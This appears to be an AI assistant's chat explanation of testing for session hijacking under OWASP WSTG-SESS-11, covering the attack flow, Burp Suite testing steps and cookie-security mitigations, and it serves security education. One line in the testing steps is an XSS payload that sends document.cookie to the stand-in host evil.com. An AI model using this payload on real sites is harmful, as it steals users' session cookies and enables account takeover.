Perfect — now we’re on **WSTG-SESS-11: Testing for Session Hijacking** 🔥

This one is critical because **if an attacker can steal a session token, they instantly become the victim**. Let’s deep dive 👇

**🧪 Testing for Session Hijacking**

**🔎 What is Session Hijacking?**

* **Session hijacking** = stealing or predicting a valid session token (cookie, URL parameter, header, etc.) and using it to impersonate the user.
* The attacker bypasses login entirely and rides on the victim’s active session.

Common vectors:

* **Sniffing** tokens over unencrypted HTTP.
* **Cross-Site Scripting (XSS)** stealing cookies.
* **Man-in-the-Middle (MITM)** attacks on insecure Wi-Fi.
* **Session ID prediction** (if tokens are weak/randomness is low).

**⚡ Example Attack Flow**

1. Victim logs into https://bank.com.
   * Gets cookie: SESSIONID=12345abcdef.
2. Attacker:
   * Sniffs traffic (if HTTP/no TLS).
   * Or injects XSS payload to steal document.cookie.
   * Or tricks user into clicking a malicious link that leaks the session ID.
3. Attacker sets SESSIONID=12345abcdef in their browser → gets **full access to victim account**.

**🔧 How to Test (Step-by-Step)**

**1. Intercept Session Tokens with Burp Suite**

* Log in and capture cookies.
* Look for:
  + Set-Cookie: JSESSIONID=xyz;
  + Tokens passed in **URL query params** (bad practice).
  + Tokens stored in **hidden form fields**.

**2. Check Token Predictability**

* Use **Burp Sequencer** to analyze randomness.
* Weak/randomly small session IDs → predictable.

**3. Test Token Theft Vectors**

* If site uses HTTP → try sniffing cookies with Wireshark.
* Inject XSS payload:
* <script>fetch('http://evil.com/log?c='+document.cookie)</script>

If cookie stolen → vulnerable.

**4. Replay Session (Hijack Simulation)**

* Copy victim’s session cookie.
* Paste it into your browser (via DevTools → Application → Cookies).
* If you now appear logged in as victim → session hijacking successful.

**✅ Mitigations**

* Always use **HTTPS/TLS** (no session over HTTP).
* Use **HttpOnly** cookie flag → prevents JS from reading cookies.
* Use **Secure** flag → prevents sending cookie over HTTP.
* Use **SameSite** → mitigates CSRF-based theft.
* Regenerate session IDs at login and privilege change.
* Invalidate sessions at logout & after inactivity.
* Implement **IP/device binding** or **multi-factor auth**.

⚡ **Summary:**

Session hijacking = attacker steals/replays a valid session token.

Testing = intercept tokens, check predictability, try replaying stolen sessions.

Defense = strong tokens, HTTPS, cookie security flags, session regeneration, and MFA.

👉 Do you want me to also map this to **real-world breaches** (like Firesheep on Wi-Fi or XSS-based hijacks) so you can use them as case studies in your notes?